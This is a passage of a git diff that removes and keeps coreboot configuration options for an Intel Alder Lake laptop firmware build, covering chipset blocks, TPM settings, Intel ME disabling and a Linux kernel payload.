-CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 -CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 -CONFIG_IFD_CHIPSET="adl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_PCH_ROOT_PORTS=12 -CONFIG_MAX_CPU_ROOT_PORTS=3 -CONFIG_MAX_TBT_ROOT_PORTS=4 -CONFIG_MAX_ROOT_PORTS=12 -CONFIG_MAX_PCIE_CLOCK_SRC=10 -CONFIG_MAX_PCIE_CLOCK_REQ=10 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=127 -CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=38400000 -CONFIG_SOC_INTEL_UFS_CLK_FREQ_HZ=19200000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=7 -CONFIG_SOC_INTEL_I2C_DEV_MAX=8 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_UART_DEV_MAX=7 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Fsp.fd" -CONFIG_SOC_INTEL_ALDERLAKE_DEBUG_CONSENT=0 -CONFIG_DATA_BUS_WIDTH=128 -CONFIG_DIMMS_PER_CHANNEL=2 -CONFIG_MRC_CHANNEL_WIDTH=16 -CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y -CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y -CONFIG_SI_DESC_REGION="SI_DESC" -CONFIG_SI_DESC_REGION_SZ=4096 -# CONFIG_BUILDING_WITH_DEBUG_FSP is not set -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_FSP_PUBLISH_MBP_HOB=y -# CONFIG_INCLUDE_HSPHY_IN_FMAP is not set -CONFIG_HSPHY_FW_MAX_SIZE=0x8000 -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_INTEL_TME=y -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y -CONFIG_SOC_INTEL_UFS_OCP_TIMER_DISABLE=y -CONFIG_SOC_INTEL_UFS_LTR_DISQUALIFY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -CONFIG_CAR_HAS_SF_MASKS=y -CONFIG_COS_MAPPED_TO_MSB=y -CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y -CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y -CONFIG_CPU_SUPPORTS_INTEL_TME=y -# CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y -CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_SET_EOP=y -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_16=y -CONFIG_ME_SPEC=16 -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y -# CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y -CONFIG_PMC_IPC_ACPI_INTERFACE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y -# CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set -# CONFIG_ENABLE_TCSS_USB_DETECTION is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y -CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y -CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y -# CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set -CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y -# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set -CONFIG_SOC_INTEL_CRASHLOG=y - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_VOLTAGE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_X86_CLFLUSH_CAR=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# - -# -# Southbridge -# -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_SYSTEM76_EC=y -CONFIG_EC_SYSTEM76_EC_DGPU=y - -# -# Intel Firmware -# CONFIG_IFDTOOL_DISABLE_ME=y CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -CONFIG_HAVE_INTEL_ME_HAP=y -# CONFIG_INTEL_ME_DISABLED_HECI is not set CONFIG_INTEL_ME_DISABLED_HAP=y -# CONFIG_INTEL_ME_ENABLED is not set -CONFIG_INTEL_ME_DEFAULT_STATE=2 -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_BIOS_VENDOR="3mdeb" - -# -# Dasharo -# - -# -# Dasharo Configuration -# -CONFIG_DASHARO_PREFER_S3_SLEEP=y -# end of Dasharo Configuration - -CONFIG_UDK_BASE=y -CONFIG_UDK_202005_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=202005 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_X86_CUSTOM_BOOTMEDIA=y -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -# CONFIG_VGA_ROM_RUN is not set -CONFIG_RUN_FSP_GOP=y -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_DRIVERS_UART=y -CONFIG_NO_UART_ON_SUPERIO=y -CONFIG_DRIVERS_UART_8250MEM=y -CONFIG_DRIVERS_UART_8250MEM_32=y -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -CONFIG_DRIVERS_I2C_GENERIC=y -CONFIG_DRIVERS_I2C_HID=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_1=y -CONFIG_PLATFORM_USES_FSP2_2=y -CONFIG_PLATFORM_USES_FSP2_3=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_FSPS_HAS_ARCH_UPD=y -CONFIG_FSPS_USE_MULTI_PHASE_INIT=y -CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_FSP_ENABLE_SERIAL_DEBUG=y -CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_INTEL_GMA_OPREGION_2_1=y -CONFIG_DRIVERS_INTEL_PMC=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_MP_SERVICES_PPI=y -CONFIG_MP_SERVICES_PPI_V2=y -CONFIG_DRIVERS_INTEL_USB4_RETIMER=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_TPM1 is not set -CONFIG_TPM2=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM2=y -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM2=y -# CONFIG_TPM_HASH_SHA1 is not set -CONFIG_TPM_HASH_SHA256=y -# CONFIG_TPM_HASH_SHA384 is not set -# CONFIG_TPM_HASH_SHA512 is not set -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -CONFIG_INTEL_TXT_LIB=y -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_FIXED_UART_FOR_CONSOLE=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_CONSOLE_SYSTEM76_EC is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y -# CONFIG_ENABLE_FSP_ERROR_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_SPD_READ_BY_WORD=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-qemu-tpm1.config 